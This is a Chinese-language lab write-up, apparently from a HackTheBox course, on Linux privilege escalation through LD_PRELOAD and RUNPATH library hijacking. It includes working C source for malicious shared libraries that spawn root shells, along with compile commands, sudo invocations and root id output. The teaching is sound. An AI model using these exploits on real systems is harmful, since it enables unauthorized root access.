LD_PRELOAD
我们执行 sudo -l
命令:
htb_student@NIX02:~$ sudo -l
Matching Defaults entries for daniel.carter on NIX02:
env_reset, mail_badpass, env_keep+=LD_PRELOAD
User daniel.carter may run the following commands on NIX02:
(root) NOPASSWD: /usr/sbin/apache2 restart # 该用户可以以 root 权限指定 apache 服务器的重启
我们可以看到:
- 用户可以以 root 身份重启 apache2 服务器
- env_keep+=LD_PRELOAD : 表明用户具有自定义共享库的权限
我们先来创建一个共享库文件
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
编译:
gcc -fPIC -shared -o root.so root.c -nostartfiles
指定共享库并执行特权命令
htb_student@NIX02:~$ sudo LD_PRELOAD=/tmp/root.so /usr/sbin/apache2 restart
执行完之后,我们就可以获得一个 root shell 了
LD_LIBRARY_PATH
我们需要使用 ldd
查看可执行文件所需的共享对象:
htb_student@NIX02:~$ ldd payroll
linux-vdso.so.1 => (0x00007ffcb3133000)
libshared.so => /lib/x86_64-linux-gnu/libshared.so (0x00007f7f62e51000) # 非标准库
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f7f62876000)
/lib64/ld-linux-x86-64.so.2 (0x00007f7f62c40000)
在上面的输出中存在一个 非标准库,我们使用 readelf
进行进一步的检查
htb_student@NIX02:~$ readelf -d payroll | grep PATH
0x000000000000001d (RUNPATH) Library runpath: [/development]
该配置允许从所有用户可写的 /development 文件夹加载库,并且在这个文件夹的库优先于其他文件夹。
可以通过在 /development 中放置恶意库来利用此错误配置,这将优先于其他文件夹,因为首先检查此文件中的条目(在配置文件中出现其他文件夹之前)
# 移动共享文件
cp /lib/x86_64-linux-gnu/libc.so.6 /development/libshared.so
# 检查共享对象库位置是否发生变化
ldd payroll
# 执行,发现缺少 dbquery
htb_student@NIX02:~$ ./payroll
./payroll: symbol lookup error: ./payroll: undefined symbol: dbquery
编写包含 dbquery 的函数共享对象
#include<stdio.h>
#include<stdlib.h>
void dbquery() {
printf("Malicious library loaded\n");
setuid(0);
system("/bin/sh -p");
}
编译
gcc src.c -fPIC -shared -o /development/libshared.so
执行后我们就可以获取到 SHELL 了
# 获取 WEBSHELL
htb_student@NIX02:~$ ./payroll
***************Inlane Freight Employee Database***************
Malicious library loaded
# id
uid=0(root) gid=1000(mrb3n) groups=1000(mrb3n)
扩展
总结
总体来说 LD_PRELOAD 利用的是,应用程序在被执行时,会去调用一些系统的内部函数,我们可以编写相关指令来劫持此函数,让应用程序执行我们的程序。LD_LIBRARY_PATH 利用的应用程序在被执行时,会去调用一些外部文件,有时候这些外部文件我们可以修改,通过替换这些外部文件,并在其中编写函数,让应用程序执行我们的函数
:::info
LD_LIBRARY_PATH 就比 LD_PRELOAD 多一个替换动态文件
:::